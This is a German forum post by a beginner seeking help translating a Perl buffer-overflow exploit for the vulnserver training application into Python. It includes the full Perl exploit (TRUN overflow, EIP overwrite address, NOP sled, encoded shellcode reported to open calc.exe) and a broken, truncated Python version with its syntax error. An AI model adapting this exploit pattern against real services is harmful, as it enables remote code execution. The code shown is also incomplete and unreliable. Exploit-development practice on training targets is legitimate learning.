Ich bin ziemlich neu in Python und ich habe auch schon gegoogled aber nichts vernünftiges gefunden.
Ich möchte ein Perl script nach python umwandeln.Also die funktion des perlscripts möchte ich in python schreiben.
Das script ist zum fuzzen gedacht.Dabei geht es darum eine verwundbare Applikation zum Absturz zu bringen und herauszufinden an welcher Stelle man eigenen code ausführen kann.Aber ich denke das wisst Ihr alle selbst.
Die App heisst vulnserver und ist extra dafür gemacht fuzzing zu trainieren.
Ich habe dann ein perlscript geschrieben, das den server crashen lässt und dann die per Windows CMD die calc.exe aufruft.
Aber ich möchte das script nach python schreiben mit den selben funktionen.
Hier ist erstmal der perl code:
Code: Alles auswählen
#!/usr/bin/perl
use IO::Socket;
$header = "TRUN /.:/";
$junk = "\x41" x 2003;
$eip = pack('V', 0x625011af);
$nop = "\x90" x 20;
$shellcode = "\x89\xe5\xd9\xcf\xd9\x75\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x4d\x59\x45\x50\x45\x50\x45\x50\x43\x50\x4c\x49\x5a" .
"\x45\x56\x51\x58\x52\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c" .
"\x4b\x56\x32\x54\x4c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x43" .
"\x42\x51\x38\x54\x4f\x4e\x57\x50\x4a\x56\x46\x50\x31\x4b" .
"\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x54" .
"\x42\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x58" .
"\x47\x5a\x42\x4c\x30\x56\x32\x56\x37\x4c\x4b\x56\x32\x54" .
"\x50\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c\x4b\x51" .
"\x50\x52\x58\x4c\x45\x4f\x30\x43\x44\x51\x5a\x43\x31\x58" .
"\x50\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x51" .
"\x30\x45\x51\x49\x43\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x47" .
"\x44\x4c\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x50\x31\x49" .
"\x50\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x4f\x37\x56" .
"\x58\x4d\x30\x54\x35\x4c\x34\x54\x43\x43\x4d\x4c\x38\x47" .
"\x4b\x43\x4d\x56\x44\x52\x55\x4d\x32\x56\x38\x4c\x4b\x56" .
"\x38\x56\x44\x45\x51\x58\x53\x45\x36\x4c\x4b\x54\x4c\x50" .
"\x4b\x4c\x4b\x51\x48\x45\x4c\x45\x51\x58\x53\x4c\x4b\x43" .
"\x34\x4c\x4b\x45\x51\x4e\x30\x4d\x59\x50\x44\x56\x44\x47" .
"\x54\x51\x4b\x51\x4b\x45\x31\x56\x39\x51\x4a\x56\x31\x4b" .
"\x4f\x4b\x50\x56\x38\x51\x4f\x51\x4a\x4c\x4b\x54\x52\x5a" .
"\x4b\x4c\x46\x51\x4d\x43\x5a\x43\x31\x4c\x4d\x4b\x35\x4e" .
"\x59\x45\x50\x43\x30\x45\x50\x50\x50\x45\x38\x56\x51\x4c" .
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($header.$junk.$eip.$nop.$shellcode);
Hier der Python code:
Code: Alles auswählen
#!/usr/bin/python
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
header = ('TRUN /.:/')
junk = ('"\x41" x 2003')
eip = ('"V", 0x625011af')
nop = ('"\x90" x 20')
shellcode = ('\x89\xe0\xda\xcb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43
\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58
\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42
\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30
\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38
\x4d\x59\x45\x50\x45\x50\x43\x30\x45\x30\x4c\x49\x4d\x35
\x56\x51\x49\x42\x45\x34\x4c\x4b\x50\x52\x50\x30\x4c\x4b
\x56\x32\x54\x4c\x4c\x4b\x56\x32\x45\x44\x4c\x4b\x52\x52
\x51\x38\x54\x4f\x58\x37\x51\x5a\x51\x36\x56\x51\x4b\x4f
\x56\x51\x49\x50\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x54\x42
\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37
\x5a\x42\x5a\x50\x56\x32\x56\x37\x4c\x4b\x50\x52\x52\x30
\x4c\x4b\x47\x32\x47\x4c\x43\x31\x58\x50\x4c\x4b\x51\x50
\x52\x58\x4b\x35\x4f\x30\x43\x44\x51\x5a\x45\x51\x4e\x30
\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x51\x48\x51\x30
\x43\x31\x4e\x33\x4b\x53\x47\x4c\x47\x39\x4c\x4b\x47\x44
\x4c\x4b\x43\x31\x4e\x36\x56\x51\x4b\x4f\x56\x51\x4f\x30
\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x50\x38
\x4b\x50\x52\x55\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b
\x43\x4d\x56\x44\x54\x35\x4b\x52\x56\x38\x4c\x4b\x51\x48
\x56\x44\x45\x51\x49\x43\x45\x36\x4c\x4b\x54\x4c\x50\x4b
\x4c\x4b\x50\x58\x45\x4c\x45\x51\x4e\x33\x4c\x4b\x43\x34
\x4c\x4b\x45\x51\x4e\x30\x4d\x59\x47\x34\x51\x34\x51\x34
\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f
\x4d\x30\x56\x38\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b
sock.sendto(header, junk, eip, nop, shellcode('192.168.2.101', 9999))
sock.close()Code: Alles auswählen
root@bt:~# python exploit.py
File "exploit.py", line 11
shellcode = ('\x89\xe0\xda\xcb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43
^
SyntaxError: EOL while scanning string literalIch hoffe Ihr könnt mir helfen
Gruß
patzen
) und es sieht auf jeden Fall schonmal besser aus und wird auch jetzt grün hinterlegt wie der Rest des blocks.
